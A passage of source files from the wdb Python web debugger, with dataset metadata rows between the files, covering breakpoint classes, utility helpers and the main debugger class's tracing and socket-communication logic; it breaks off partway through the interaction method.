40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,477
breakpoint.py
Kozea_wdb/client/wdb/breakpoint.py
import os.path from hashlib import sha1 from ._compat import import_module, logger log = logger('wdb.bp') def canonic(filename): if filename == "<" + filename[1:-1] + ">": return filename canonic = os.path.abspath(filename) canonic = os.path.normcase(canonic) if canonic.endswith(('.pyc', '.pyo')): canonic = canonic[:-1] return canonic def file_from_import(filename, function=None): try: module = import_module(filename) except ImportError: return filename if function is None: return module.__file__ fun = getattr(module, function, None) if not fun or not hasattr(fun, '__code__'): return filename return fun.__code__.co_filename class Breakpoint(object): """Simple breakpoint that breaks if in file""" def __init__(self, file, temporary=False): self.fn = file if not file.endswith(('.py', '.pyc', '.pyo')): file = file_from_import(file) self.file = canonic(file) self.temporary = temporary def on_file(self, filename): return canonic(filename) == self.file def breaks(self, frame): return self.on_file(frame.f_code.co_filename) def __repr__(self): s = 'Temporary ' if self.temporary else '' s += self.__class__.__name__ s += ' on file %s' % self.file return s def __eq__(self, other): return self.file == other.file and self.temporary == other.temporary def __hash__(self): s = sha1() s.update(repr(self).encode('utf-8')) return int(s.hexdigest(), 16) def to_dict(self): return { 'fn': self.file, 'lno': getattr(self, 'line', None), 'cond': getattr(self, 'condition', None), 'fun': getattr(self, 'function', None), 'temporary': self.temporary, } class LineBreakpoint(Breakpoint): """Simple breakpoint that breaks if in file at line""" def __init__(self, file, line, temporary=False): self.line = line super(LineBreakpoint, self).__init__(file, temporary) def breaks(self, frame): return ( super(LineBreakpoint, self).breaks(frame) and frame.f_lineno == self.line ) def __repr__(self): return ( super(LineBreakpoint, self).__repr__() + ' on line %d' % self.line ) def __eq__(self, other): return ( super(LineBreakpoint, self).__eq__(other) and self.line == other.line ) def __hash__(self): return super(LineBreakpoint, self).__hash__() class ConditionalBreakpoint(Breakpoint): """Breakpoint that breaks if condition is True at line in file""" def __init__(self, file, line, condition, temporary=False): self.line = line self.condition = condition super(ConditionalBreakpoint, self).__init__(file, temporary) def breaks(self, frame): try: return ( super(ConditionalBreakpoint, self).breaks(frame) and (self.line is None or frame.f_lineno == self.line) and eval(self.condition, frame.f_globals, frame.f_locals) ) except Exception: # Break in case of log.warning('Error in conditional break', exc_info=True) return True def __repr__(self): return ( super(ConditionalBreakpoint, self).__repr__() + ' under the condition %s' % self.condition ) def __eq__(self, other): return ( super(ConditionalBreakpoint, self).__eq__(other) and self.condition == other.condition ) def __hash__(self): return super(ConditionalBreakpoint, self).__hash__() class FunctionBreakpoint(Breakpoint): """Breakpoint that breaks if in file in function""" def __init__(self, file, function, temporary=False): self.function = function if not file.endswith(('.py', '.pyc', '.pyo')): file = file_from_import(file, function) self.file = canonic(file) self.temporary = temporary def breaks(self, frame): return ( super(FunctionBreakpoint, self).breaks(frame) and frame.f_code.co_name == self.function ) def __repr__(self): return ( super(FunctionBreakpoint, self).__repr__() + ' in function %s' % self.function ) def __eq__(self, other): return ( super(FunctionBreakpoint, self).__eq__(other) and self.function == other.function ) def __hash__(self): return super(FunctionBreakpoint, self).__hash__()
4,738
Python
.py
129
28.20155
78
0.583297
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,478
utils.py
Kozea_wdb/client/wdb/utils.py
import dis import inspect import io import os import signal import sys from contextlib import contextmanager from difflib import HtmlDiff, _mdiff from ._compat import OrderedDict, StringIO, existing_module def pretty_frame(frame): if frame: return '%s <%s:%d>' % ( frame.f_code.co_name, frame.f_code.co_filename, frame.f_lineno, ) else: return 'None' def get_code(obj): if hasattr(obj, '__func__'): return obj.__func__ if hasattr(obj, '__code__'): return obj.__code__ if hasattr(obj, 'gi_code'): return obj.gi_code if hasattr(obj, 'co_code'): return obj def get_source_from_byte_code(code): try: import uncompyle6 except Exception: return version = sys.version_info[0] + (sys.version_info[1] / 10.0) try: with open(os.devnull, 'w') as dn: return uncompyle6.deparse_code(version, code, dn).text except Exception: return def get_source(obj): try: return inspect.getsource(obj) except Exception: code = get_code(obj) if code: source = get_source_from_byte_code(code) if source: return ( '# The following source has been decompilated:\n' + source ) old_stdout = sys.stdout sys.stdout = StringIO() try: dis.dis(obj) sys.stdout.seek(0) rv = sys.stdout.read() sys.stdout = old_stdout return rv except Exception: sys.stdout = old_stdout return '' def get_doc(obj): doc = inspect.getdoc(obj) com = inspect.getcomments(obj) if doc and com: return '%s\n\n(%s)' % (doc, com) elif doc: return doc elif com: return com return '' def executable_line(line): line = line.strip() return not ( ( not line or (line[0] == '#') or (line[:3] == '"""') or line[:3] == "'''" ) ) def get_args(frame): code = frame.f_code varnames = code.co_varnames nargs = code.co_argcount if hasattr(code, 'co_kwonlyargcount'): kwonly = code.co_kwonlyargcount else: # Python 2 kwonly = 0 locals = frame.f_locals # Regular args vars = OrderedDict([(var, locals[var]) for var in varnames[:nargs]]) # Var args (*args) if frame.f_code.co_flags & 0x4: vars['*' + varnames[nargs + kwonly]] = locals[varnames[nargs + kwonly]] nargs += 1 for n in range(kwonly): vars[varnames[nargs + n - 1]] = locals[varnames[nargs + n - 1]] nargs += kwonly if frame.f_code.co_flags & 0x8: vars['**' + varnames[nargs]] = locals[varnames[nargs]] return vars def importable_module(module): return existing_module(module) class Html5Diff(HtmlDiff): _table_template = """ <table class="diff"> %(header_row)s <tbody> %(data_rows)s </tbody> </table>""" def _format_line(self, side, flag, linenum, text): """Returns HTML markup of "from" / "to" text lines side -- 0 or 1 indicating "from" or "to" text flag -- indicates if difference on line linenum -- line number (used for line number column) text -- line text to be marked up """ try: linenum = '%d' % linenum id = ' id="%s%s"' % (self._prefix[side], linenum) except TypeError: # handle blank lines where linenum is '>' or '' id = '' # replace those things that would get confused with HTML symbols text = ( text.replace("&", "&amp;") .replace(">", "&gt;") .replace("<", "&lt;") ) type_ = 'neutral' if '\0+' in text: type_ = 'add' if '\0-' in text: if type_ == 'add': type_ = 'chg' type_ = 'sub' if '\0^' in text: type_ = 'chg' # make space non-breakable so they don't get compressed or line wrapped text = text.replace(' ', '&nbsp;').rstrip() return ( '<td class="diff_lno"%s>%s</td>' '<td class="diff_line diff_line_%s">%s</td>' % (id, linenum, type_, text) ) def make_table( self, fromlines, tolines, fromdesc='', todesc='', context=False, numlines=5, ): """Returns HTML table of side by side comparison with change highlights Arguments: fromlines -- list of "from" lines tolines -- list of "to" lines fromdesc -- "from" file column header string todesc -- "to" file column header string context -- set to True for contextual differences (defaults to False which shows full differences). numlines -- number of context lines. When context is set True, controls number of lines displayed before and after the change. When context is False, controls the number of lines to place the "next" link anchors before the next change (so click of "next" link jumps to just before the change). """ # make unique anchor prefixes so that multiple tables may exist # on the same page without conflict. self._make_prefix() # change tabs to spaces before it gets more difficult after we insert # markup fromlines, tolines = self._tab_newline_replace(fromlines, tolines) # create diffs iterator which generates side by side from/to data if context: context_lines = numlines else: context_lines = None diffs = _mdiff( fromlines, tolines, context_lines, linejunk=self._linejunk, charjunk=self._charjunk, ) # set up iterator to wrap lines that exceed desired width if self._wrapcolumn: diffs = self._line_wrapper(diffs) # collect up from/to lines and flags into lists (also format the lines) fromlist, tolist, flaglist = self._collect_lines(diffs) # process change flags, generating middle column of next anchors/links fromlist, tolist, flaglist, next_href, next_id = self._convert_flags( fromlist, tolist, flaglist, context, numlines ) s = [] fmt = ' <tr>%s%s</tr>\n' for i in range(len(flaglist)): if flaglist[i] is None: # mdiff yields None on separator lines skip the bogus ones # generated for the first line if i > 0: s.append(' </tbody> \n <tbody>\n') else: s.append(fmt % (fromlist[i], tolist[i])) if fromdesc or todesc: header_row = '<thead><tr>%s%s</tr></thead>' % ( '<th colspan="2" class="diff_header">%s</th>' % fromdesc, '<th colspan="2" class="diff_header">%s</th>' % todesc, ) else: header_row = '' table = self._table_template % dict( data_rows=''.join(s), header_row=header_row, prefix=self._prefix[1] ) return ( table.replace('\0+', '<span class="diff_add">') .replace('\0-', '<span class="diff_sub">') .replace('\0^', '<span class="diff_chg">') .replace('\1', '</span>') .replace('\t', '&nbsp;') ) def search_key_in_obj(key, obj, matches=None, path='', context=None): context = context or [] matches = matches or [] if id(obj) in context: return matches context.append(id(obj)) if isinstance(obj, dict): for k, v in obj.items(): if not isinstance(k, str): continue if isinstance(v, type(sys)): continue if key in k: matches.append( ( "%s['%s']" % ( path.rstrip('.'), k.replace(key, '<mark>%s</mark>' % key), ), v, ) ) try: matches = search_key_in_obj( key, v, matches, "%s['%s']." % (path.rstrip('.'), k), context, ) except Exception: pass if isinstance(obj, list): for i, v in enumerate(obj): if isinstance(v, type(sys)): continue try: matches = search_key_in_obj( key, v, matches, "%s[%d]." % (path.rstrip('.'), i), context ) except Exception: pass for k in dir(obj): if k.startswith('__') and k not in ('__class__',): continue v = getattr(obj, k, None) v2 = getattr(obj, k, None) if id(v) != id(v2): continue if isinstance(v, type(sys)): continue if key in k: matches.append( ('%s%s' % (path, k.replace(key, '<mark>%s</mark>' % key)), v) ) try: matches = search_key_in_obj( key, v, matches, '%s%s.' % (path, k), context ) except Exception: pass return matches def search_value_in_obj(fun, obj, matches=None, path='', context=None): context = context or [] matches = matches or [] if id(obj) in context: return matches context.append(id(obj)) if isinstance(obj, dict): for k, v in obj.items(): if not isinstance(k, str): continue if isinstance(v, type(sys)): continue res = None try: res = eval(fun, {'x': v}) except Exception: pass new_path = "%s['%s']" % (path.rstrip('.'), k) if res: matches.append((new_path, v)) try: matches = search_value_in_obj( fun, v, matches, new_path + '.', context ) except Exception: pass if isinstance(obj, list): for i, v in enumerate(obj): if isinstance(v, type(sys)): continue res = None try: res = eval(fun, {'x': v}) except Exception: pass new_path = "%s[%d]" % (path.rstrip('.'), i) if res: matches.append((new_path, v)) try: matches = search_value_in_obj( fun, v, matches, new_path + '.', context ) except Exception: pass for k in dir(obj): if k.startswith('__') and k not in ('__class__',): continue v = getattr(obj, k, None) v2 = getattr(obj, k, None) if id(v) != id(v2): continue if isinstance(v, type(sys)): continue res = None try: res = eval(fun, {'x': v}) except Exception: pass new_path = '%s%s' % (path, k) if res: matches.append((new_path, v)) try: matches = search_value_in_obj( fun, v, matches, new_path + '.', context ) except Exception: pass return matches class timeout_of(object): def __init__(self, time, strict=False): self.time = time try: # Ignoring when not active + disabling if no alarm signal (Windows) signal.signal(signal.SIGALRM, signal.SIG_IGN) except Exception: if strict: raise Exception('Not running because timeout is not available') self.active = False else: self.active = True def timeout(self, signum, frame): raise Exception('Timeout') def __enter__(self): if not self.active: return signal.signal(signal.SIGALRM, self.timeout) signal.setitimer(signal.ITIMER_REAL, self.time) def __exit__(self, *args): if not self.active: return signal.setitimer(signal.ITIMER_REAL, 0) signal.signal(signal.SIGALRM, signal.SIG_IGN) class IterableEllipsis(object): def __init__(self, size): self.size = size def cut_if_too_long(iterable, level, tuple_=False): max_ = 100 for i in range(1, min(level, 4)): max_ /= 2 start = 10 end = 5 max_ = max(start + end, int(max_)) size = len(iterable) if size > max_: ie = IterableEllipsis(size - start - end) if tuple_: ie = (ie, ie) return list(iterable[:start]) + [ie] + list(iterable[-end:]) else: return iterable # Got from: # http://www.zopatista.com/python/2013/11/26/inplace-file-rewriting/ # as suggested by https://github.com/leorochael @contextmanager def inplace( filename, mode='r', buffering=-1, encoding=None, errors=None, newline=None, backup_extension=None, ): """Allow for a file to be replaced with new content. yields a tuple of (readable, writable) file objects, where writable replaces readable. If an exception occurs, the old file is restored, removing the written data. mode should *not* use 'w', 'a' or '+'; only read-only-modes are supported. """ # move existing file to backup, create new file with same permissions # borrowed extensively from the fileinput module if set(mode).intersection('wa+'): raise ValueError('Only read-only file modes can be used') backupfilename = filename + (backup_extension or os.extsep + 'bak') try: os.unlink(backupfilename) except os.error: pass os.rename(filename, backupfilename) readable = io.open( backupfilename, mode, buffering=buffering, encoding=encoding, errors=errors, newline=newline, ) try: perm = os.fstat(readable.fileno()).st_mode except OSError: writable = io.open( filename, 'w' + mode.replace('r', ''), buffering=buffering, encoding=encoding, errors=errors, newline=newline, ) else: os_mode = os.O_CREAT | os.O_WRONLY | os.O_TRUNC if hasattr(os, 'O_BINARY'): os_mode |= os.O_BINARY fd = os.open(filename, os_mode, perm) writable = io.open( fd, "w" + mode.replace('r', ''), buffering=buffering, encoding=encoding, errors=errors, newline=newline, ) try: if hasattr(os, 'chmod'): os.chmod(filename, perm) except OSError: pass try: yield readable, writable except Exception: # move backup back try: os.unlink(filename) except os.error: pass os.rename(backupfilename, filename) raise finally: readable.close() writable.close() try: os.unlink(backupfilename) except os.error: pass
15,651
Python
.py
481
22.399168
79
0.519154
Kozea/wdb
1,574
117
40
GPL-3.0
9/5/2024, 5:12:54 PM (Europe/Amsterdam)
21,479
__init__.py
Kozea_wdb/client/wdb/__init__.py
# *-* coding: utf-8 *-* # This file is part of wdb # # wdb Copyright (c) 2012-2016 Florian Mounier, Kozea # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see <http://www.gnu.org/licenses/>. from __future__ import with_statement try: import pkg_resources except ImportError: __version__ = "pkg_resources not found on PYTHON_PATH" else: try: __version__ = pkg_resources.require('wdb')[0].version except pkg_resources.DistributionNotFound: __version__ = "wdb is not installed" _initial_globals = dict(globals()) from ._compat import ( execute, StringIO, to_unicode_string, escape, loads, JSONDecodeError, Socket, logger, OrderedDict, ) from .breakpoint import ( Breakpoint, LineBreakpoint, ConditionalBreakpoint, FunctionBreakpoint, ) from collections import defaultdict from functools import wraps from .ui import Interaction, dump from .utils import ( pretty_frame, executable_line, get_args, get_source_from_byte_code, cut_if_too_long, IterableEllipsis, ) from .state import Running, Step, Next, Until, Return from contextlib import contextmanager from uuid import uuid4 from threading import Thread import dis import os import logging import sys import threading import socket import webbrowser import atexit import time try: import importmagic except ImportError: importmagic = None # Get wdb server host SOCKET_SERVER = os.getenv('WDB_SOCKET_SERVER', 'localhost') # and port SOCKET_PORT = int(os.getenv('WDB_SOCKET_PORT', '19840')) # Get wdb web server host WEB_SERVER = os.getenv('WDB_WEB_SERVER') # and port WEB_PORT = int(os.getenv('WDB_WEB_PORT', 0)) WDB_NO_BROWSER_AUTO_OPEN = bool(os.getenv('WDB_NO_BROWSER_AUTO_OPEN', False)) log = logger('wdb') trace_log = logging.getLogger('wdb.trace') for log_name in ('main', 'trace', 'ui', 'ext', 'bp'): logger_name = 'wdb.%s' % log_name if log_name != 'main' else 'wdb' level = os.getenv( 'WDB_%s_LOG' % log_name.upper(), os.getenv('WDB_LOG', 'WARNING') ).upper() logging.getLogger(logger_name).setLevel(getattr(logging, level, 'WARNING')) class Wdb(object): """Wdb debugger main class""" _instances = {} _sockets = [] enabled = True breakpoints = set() watchers = defaultdict(set) @staticmethod def get(no_create=False, server=None, port=None, force_uuid=None): """Get the thread local singleton""" pid = os.getpid() thread = threading.current_thread() wdb = Wdb._instances.get((pid, thread)) if not wdb and not no_create: wdb = object.__new__(Wdb) Wdb.__init__(wdb, server, port, force_uuid) wdb.pid = pid wdb.thread = thread Wdb._instances[(pid, thread)] = wdb elif wdb: if ( server is not None and wdb.server != server or port is not None and wdb.port != port ): log.warn('Different server/port set, ignoring') else: wdb.reconnect_if_needed() return wdb @staticmethod def pop(): """Remove instance from instance list""" pid = os.getpid() thread = threading.current_thread() Wdb._instances.pop((pid, thread)) def __new__(cls, server=None, port=None): return cls.get(server=server, port=port) def __init__(self, server=None, port=None, force_uuid=None): log.debug('New wdb instance %r' % self) self.obj_cache = {} self.compile_cache = {} self.tracing = False self.begun = False self.connected = False self.closed = None # Handle request long ignores for ext self.stepping = False self.extra_vars = {} self.last_obj = None self.reset() self.uuid = force_uuid or str(uuid4()) self.state = Running(None) self.full = False self.below = 0 self.under = None self.server = server or SOCKET_SERVER self.port = port or SOCKET_PORT self.interaction_stack = [] self._importmagic_index = None self._importmagic_index_lock = threading.RLock() self.index_imports() self._socket = None self.connect() self.get_breakpoints() def run_file(self, filename): """Run the file `filename` with trace""" import __main__ __main__.__dict__.clear() __main__.__dict__.update( { "__name__": "__main__", "__file__": filename, "__builtins__": __builtins__, } ) with open(filename, "rb") as fp: statement = compile(fp.read(), filename, 'exec') self.run(statement, filename) def run(self, cmd, fn=None, globals=None, locals=None): """Run the cmd `cmd` with trace""" if globals is None: import __main__ globals = __main__.__dict__ if locals is None: locals = globals self.reset() if isinstance(cmd, str): str_cmd = cmd cmd = compile(str_cmd, fn or "<wdb>", "exec") self.compile_cache[id(cmd)] = str_cmd if fn: from linecache import getline lno = 1 while True: line = getline(fn, lno, globals) if line is None: lno = None break if executable_line(line): break lno += 1 self.start_trace() if lno is not None: self.breakpoints.add(LineBreakpoint(fn, lno, temporary=True)) try: execute(cmd, globals, locals) finally: self.stop_trace() def reset(self): """Refresh linecache""" import linecache linecache.checkcache() def reconnect_if_needed(self): try: # Sending PING twice self.send('PING') self.send('PING') log.debug('Dual ping sent') except socket.error: log.warning('socket error on ping, connection lost retrying') self._socket = None self.connected = False self.begun = False self.connect() def connect(self): """Connect to wdb server""" log.info('Connecting socket on %s:%d' % (self.server, self.port)) tries = 0 while not self._socket and tries < 10: try: time.sleep(0.2 * tries) self._socket = Socket((self.server, self.port)) except socket.error: tries += 1 log.warning( 'You must start/install wdb.server ' '(Retrying on %s:%d) [Try #%d/10]' % (self.server, self.port, tries) ) self._socket = None if not self._socket: log.warning('Could not connect to server') return Wdb._sockets.append(self._socket) self._socket.send_bytes(self.uuid.encode('utf-8')) def get_breakpoints(self): log.info('Getting server breakpoints') self.send('ServerBreaks') breaks = self.receive() try: breaks = loads(breaks) except JSONDecodeError: breaks = [] self._init_breakpoints = breaks for brk in breaks: self.set_break( brk['fn'], brk['lno'], False, brk['cond'], brk['fun'] ) log.info('Server breakpoints added') def index_imports(self): if not importmagic or self._importmagic_index: return self._importmagic_index_lock.acquire() def index(self): log.info('Indexing imports') index = importmagic.SymbolIndex() index.build_index(sys.path) self._importmagic_index = index log.info('Indexing imports done') index_thread = Thread( target=index, args=(self,), name='wdb_importmagic_build_index' ) # Don't wait for completion, let it die alone: index_thread.daemon = True index_thread.start() self._importmagic_index_lock.release() def breakpoints_to_json(self): return [brk.to_dict() for brk in self.breakpoints] def _get_under_code_ref(self): code = getattr(self.under, '__code__', None) if not code and hasattr(self.under, '__call__'): # Allow for callable objects code = getattr(self.under.__call__, '__code__', None) return code def _walk_frame_ancestry(self, frame): iframe = frame while iframe is not None: yield iframe iframe = iframe.f_back def check_below(self, frame): stop_frame = self.state.frame if not any((self.below, self.under)): return frame == stop_frame, False under_code = self._get_under_code_ref() if under_code: stop_frame = None for iframe in self._walk_frame_ancestry(frame): if iframe.f_code == under_code: stop_frame = iframe if not stop_frame: return False, False below = 0 for iframe in self._walk_frame_ancestry(frame): if stop_frame == iframe: break below += 1 return below == self.below, below == self.below def trace_dispatch(self, frame, event, arg): """This function is called every line, function call, function return and exception during trace""" fun = getattr(self, 'handle_' + event, None) if not fun: return self.trace_dispatch below, continue_below = self.check_below(frame) if ( self.state.stops(frame, event) or (event == 'line' and self.breaks(frame)) or (event == 'exception' and (self.full or below)) ): fun(frame, arg) if event == 'return' and frame == self.state.frame: # Upping state if self.state.up(): # No more frames self.stop_trace() return # Threading / Multiprocessing support co = self.state.frame.f_code if ( co.co_filename.endswith('threading.py') and co.co_name.endswith('_bootstrap_inner') ) or ( self.state.frame.f_code.co_filename.endswith( os.path.join('multiprocessing', 'process.py') ) and self.state.frame.f_code.co_name == '_bootstrap' ): # Thread / Process is dead self.stop_trace() self.die() return if ( event == 'call' and not self.stepping and not self.full and not continue_below and not self.get_file_breaks(frame.f_code.co_filename) ): # Don't trace anymore here return return self.trace_dispatch def trace_debug_dispatch(self, frame, event, arg): """Utility function to add debug to tracing""" trace_log.info( 'Frame:%s. Event: %s. Arg: %r' % (pretty_frame(frame), event, arg) ) trace_log.debug( 'state %r breaks ? %s stops ? %s' % ( self.state, self.breaks(frame, no_remove=True), self.state.stops(frame, event), ) ) if event == 'return': trace_log.debug( 'Return: frame: %s, state: %s, state.f_back: %s' % ( pretty_frame(frame), pretty_frame(self.state.frame), pretty_frame(self.state.frame.f_back), ) ) if self.trace_dispatch(frame, event, arg): return self.trace_debug_dispatch trace_log.debug("No trace %s" % pretty_frame(frame)) def start_trace(self, full=False, frame=None, below=0, under=None): """Start tracing from here""" if self.tracing: return self.reset() log.info('Starting trace') frame = frame or sys._getframe().f_back # Setting trace without pausing self.set_trace(frame, break_=False) self.tracing = True self.below = below self.under = under self.full = full def set_trace(self, frame=None, break_=True): """Break at current state""" # We are already tracing, do nothing trace_log.info( 'Setting trace %s (stepping %s) (current_trace: %s)' % ( pretty_frame(frame or sys._getframe().f_back), self.stepping, sys.gettrace(), ) ) if self.stepping or self.closed: return self.reset() trace = ( self.trace_dispatch if trace_log.level >= 30 else self.trace_debug_dispatch ) trace_frame = frame = frame or sys._getframe().f_back while frame: frame.f_trace = trace frame = frame.f_back self.state = Step(trace_frame) if break_ else Running(trace_frame) sys.settrace(trace) def stop_trace(self, frame=None): """Stop tracing from here""" self.tracing = False self.full = False frame = frame or sys._getframe().f_back while frame: del frame.f_trace frame = frame.f_back sys.settrace(None) log.info('Stopping trace') def set_until(self, frame, lineno=None): """Stop on the next line number.""" self.state = Until(frame, frame.f_lineno) def set_step(self, frame): """Stop on the next line.""" self.state = Step(frame) def set_next(self, frame): """Stop on the next line in current frame.""" self.state = Next(frame) def set_return(self, frame): """Stop when returning from the given frame.""" self.state = Return(frame) def set_continue(self, frame): """Don't stop anymore""" self.state = Running(frame) if not self.tracing and not self.breakpoints: # If we were in a set_trace and there's no breakpoint to trace for # Run without trace self.stop_trace() def get_break(self, filename, lineno, temporary, cond, funcname): if lineno and not cond: return LineBreakpoint(filename, lineno, temporary) elif cond: return ConditionalBreakpoint(filename, lineno, cond, temporary) elif funcname: return FunctionBreakpoint(filename, funcname, temporary) else: return Breakpoint(filename, temporary) def set_break( self, filename, lineno=None, temporary=False, cond=None, funcname=None ): """Put a breakpoint for filename""" log.info( 'Setting break fn:%s lno:%s tmp:%s cond:%s fun:%s' % (filename, lineno, temporary, cond, funcname) ) breakpoint = self.get_break( filename, lineno, temporary, cond, funcname ) self.breakpoints.add(breakpoint) log.info('Breakpoint %r added' % breakpoint) return breakpoint def clear_break( self, filename, lineno=None, temporary=False, cond=None, funcname=None ): """Remove a breakpoint""" log.info( 'Removing break fn:%s lno:%s tmp:%s cond:%s fun:%s' % (filename, lineno, temporary, cond, funcname) ) breakpoint = self.get_break( filename, lineno, temporary or False, cond, funcname ) if temporary is None and breakpoint not in self.breakpoints: breakpoint = self.get_break(filename, lineno, True, cond, funcname) try: self.breakpoints.remove(breakpoint) log.info('Breakpoint %r removed' % breakpoint) except Exception: log.info('Breakpoint %r not removed: not found' % breakpoint) def safe_repr(self, obj): """Like a repr but without exception""" try: return repr(obj) except Exception as e: return '??? Broken repr (%s: %s)' % (type(e).__name__, e) def safe_better_repr( self, obj, context=None, html=True, level=0, full=False ): """Repr with inspect links on objects""" context = context and dict(context) or {} recursion = id(obj) in context if not recursion: context[id(obj)] = obj try: rv = self.better_repr(obj, context, html, level + 1, full) except Exception: rv = None if rv: return rv self.obj_cache[id(obj)] = obj if html: return '<a href="%d" class="inspect">%s%s</a>' % ( id(obj), 'Recursion of ' if recursion else '', escape(self.safe_repr(obj)), ) return '%s%s' % ( 'Recursion of ' if recursion else '', self.safe_repr(obj), ) def better_repr(self, obj, context=None, html=True, level=1, full=False): """Repr with html decorations or indentation""" abbreviate = (lambda x, level, **kw: x) if full else cut_if_too_long def get_too_long_repr(ie): r = '[%d more…]' % ie.size if html: self.obj_cache[id(obj)] = obj return '<a href="dump/%d" class="inspect">%s</a>' % ( id(obj), r, ) return r if isinstance(obj, dict): if isinstance(obj, OrderedDict): dict_sorted = lambda it, f: it else: dict_sorted = sorted dict_repr = ' ' * (level - 1) if type(obj) != dict: dict_repr = type(obj).__name__ + '({' closer = '})' else: dict_repr = '{' closer = '}' if len(obj) > 2: dict_repr += '\n' + ' ' * level if html: dict_repr += '''<table class=" mdl-data-table mdl-js-data-table mdl-data-table--selectable mdl-shadow--2dp">''' dict_repr += ''.join( [ ( '<tr><td class="key">' + self.safe_repr(key) + ':' + '</td>' '<td class="val ' + 'mdl-data-table__cell--non-numeric">' + self.safe_better_repr( val, context, html, level, full ) + '</td></tr>' ) if not isinstance(key, IterableEllipsis) else ( '<tr><td colspan="2" class="ellipse">' + get_too_long_repr(key) + '</td></tr>' ) for key, val in abbreviate( dict_sorted(obj.items(), key=lambda x: x[0]), level, tuple_=True, ) ] ) dict_repr += '</table>' else: dict_repr += ('\n' + ' ' * level).join( [ self.safe_repr(key) + ': ' + self.safe_better_repr( val, context, html, level, full ) if not isinstance(key, IterableEllipsis) else get_too_long_repr(key) for key, val in abbreviate( dict_sorted(obj.items(), key=lambda x: x[0]), level, tuple_=True, ) ] ) closer = '\n' + ' ' * (level - 1) + closer else: dict_repr += ', '.join( [ self.safe_repr(key) + ': ' + self.safe_better_repr( val, context, html, level, full ) for key, val in dict_sorted( obj.items(), key=lambda x: x[0] ) ] ) dict_repr += closer return dict_repr if any( [ isinstance(obj, list), isinstance(obj, set), isinstance(obj, tuple), ] ): iter_repr = ' ' * (level - 1) if type(obj) == list: iter_repr = '[' closer = ']' elif type(obj) == set: iter_repr = '{' closer = '}' elif type(obj) == tuple: iter_repr = '(' closer = ')' else: iter_repr = escape(obj.__class__.__name__) + '([' closer = '])' splitter = ', ' if len(obj) > 2 and html: splitter += '\n' + ' ' * level iter_repr += '\n' + ' ' * level closer = '\n' + ' ' * (level - 1) + closer iter_repr += splitter.join( [ self.safe_better_repr(val, context, html, level, full) if not isinstance(val, IterableEllipsis) else get_too_long_repr(val) for val in abbreviate(obj, level) ] ) iter_repr += closer return iter_repr @contextmanager def capture_output(self, with_hook=True): """Steal stream output, return them in string, restore them""" self.hooked = '' def display_hook(obj): # That's some dirty hack self.hooked += self.safe_better_repr(obj) self.last_obj = obj stdout, stderr = sys.stdout, sys.stderr if with_hook: d_hook = sys.displayhook sys.displayhook = display_hook sys.stdout, sys.stderr = StringIO(), StringIO() out, err = [], [] try: yield out, err finally: out.extend(sys.stdout.getvalue().splitlines()) err.extend(sys.stderr.getvalue().splitlines()) if with_hook: sys.displayhook = d_hook sys.stdout, sys.stderr = stdout, stderr def dmp(self, thing): """Dump the content of an object in a dict for wdb.js""" def safe_getattr(key): """Avoid crash on getattr""" try: return getattr(thing, key) except Exception as e: return 'Error getting attr "%s" from "%s" (%s: %s)' % ( key, thing, type(e).__name__, e, ) return dict( ( escape(key), { 'val': self.safe_better_repr(safe_getattr(key)), 'type': type(safe_getattr(key)).__name__, }, ) for key in dir(thing) ) def get_file(self, filename): """Get file source from cache""" import linecache # Hack for frozen importlib bootstrap if filename == '<frozen importlib._bootstrap>': filename = os.path.join( os.path.dirname(linecache.__file__), 'importlib', '_bootstrap.py', ) return to_unicode_string( ''.join(linecache.getlines(filename)), filename ) def get_stack(self, f, t): """Build the stack from frame and traceback""" stack = [] if t and t.tb_frame == f: t = t.tb_next while f is not None: stack.append((f, f.f_lineno)) f = f.f_back stack.reverse() i = max(0, len(stack) - 1) while t is not None: stack.append((t.tb_frame, t.tb_lineno)) t = t.tb_next if f is None: i = max(0, len(stack) - 1) return stack, i def get_trace(self, frame, tb): """Get a dict of the traceback for wdb.js use""" import linecache frames = [] stack, _ = self.get_stack(frame, tb) current = 0 for i, (stack_frame, lno) in enumerate(stack): code = stack_frame.f_code filename = code.co_filename or '<unspecified>' line = None if filename[0] == '<' and filename[-1] == '>': line = get_source_from_byte_code(code) fn = filename else: fn = os.path.abspath(filename) if not line: linecache.checkcache(filename) line = linecache.getline(filename, lno, stack_frame.f_globals) if not line: line = self.compile_cache.get(id(code), '') line = to_unicode_string(line, filename) line = line and line.strip() startlnos = dis.findlinestarts(code) lastlineno = list(startlnos)[-1][1] if frame == stack_frame: current = i frames.append( { 'file': fn, 'function': code.co_name, 'flno': code.co_firstlineno, 'llno': lastlineno, 'lno': lno, 'code': line, 'level': i, 'current': frame == stack_frame, } ) # While in exception always put the context to the top return stack, frames, current def send(self, data): """Send data through websocket""" log.debug('Sending %s' % data) if not self._socket: log.warn('No connection') return self._socket.send_bytes(data.encode('utf-8')) def receive(self, timeout=None): """Receive data through websocket""" log.debug('Receiving') if not self._socket: log.warn('No connection') return try: if timeout: rv = self._socket.poll(timeout) if not rv: log.info('Connection timeouted') return 'Quit' data = self._socket.recv_bytes() except Exception: log.error('Connection lost') return 'Quit' log.debug('Got %s' % data) return data.decode('utf-8') def open_browser(self, type_='debug'): if not self.connected: log.debug('Launching browser and wait for connection') web_url = 'http://%s:%d/%s/session/%s' % ( WEB_SERVER or 'localhost', WEB_PORT or 1984, type_, self.uuid, ) server = WEB_SERVER or '[wdb.server]' if WEB_PORT: server += ':%s' % WEB_PORT if WDB_NO_BROWSER_AUTO_OPEN: log.warning( 'You can now launch your browser at ' 'http://%s/%s/session/%s' % (server, type_, self.uuid) ) elif not webbrowser.open(web_url): log.warning( 'Unable to open browser, ' 'please go to http://%s/%s/session/%s' % (server, type_, self.uuid) ) self.connected = True def shell(self, source=None, vars=None): self.interaction( sys._getframe(), exception_description='Shell', shell=True, shell_vars=vars, source=source, ) def interaction( self, frame, tb=None, exception='Wdb', exception_description='Stepping', init=None, shell=False, shell_vars=None, source=None, iframe_mode=False, timeout=None, post_mortem=False, ): """User interaction handling blocking on socket receive""" log.info( 'Interaction %r %r %r 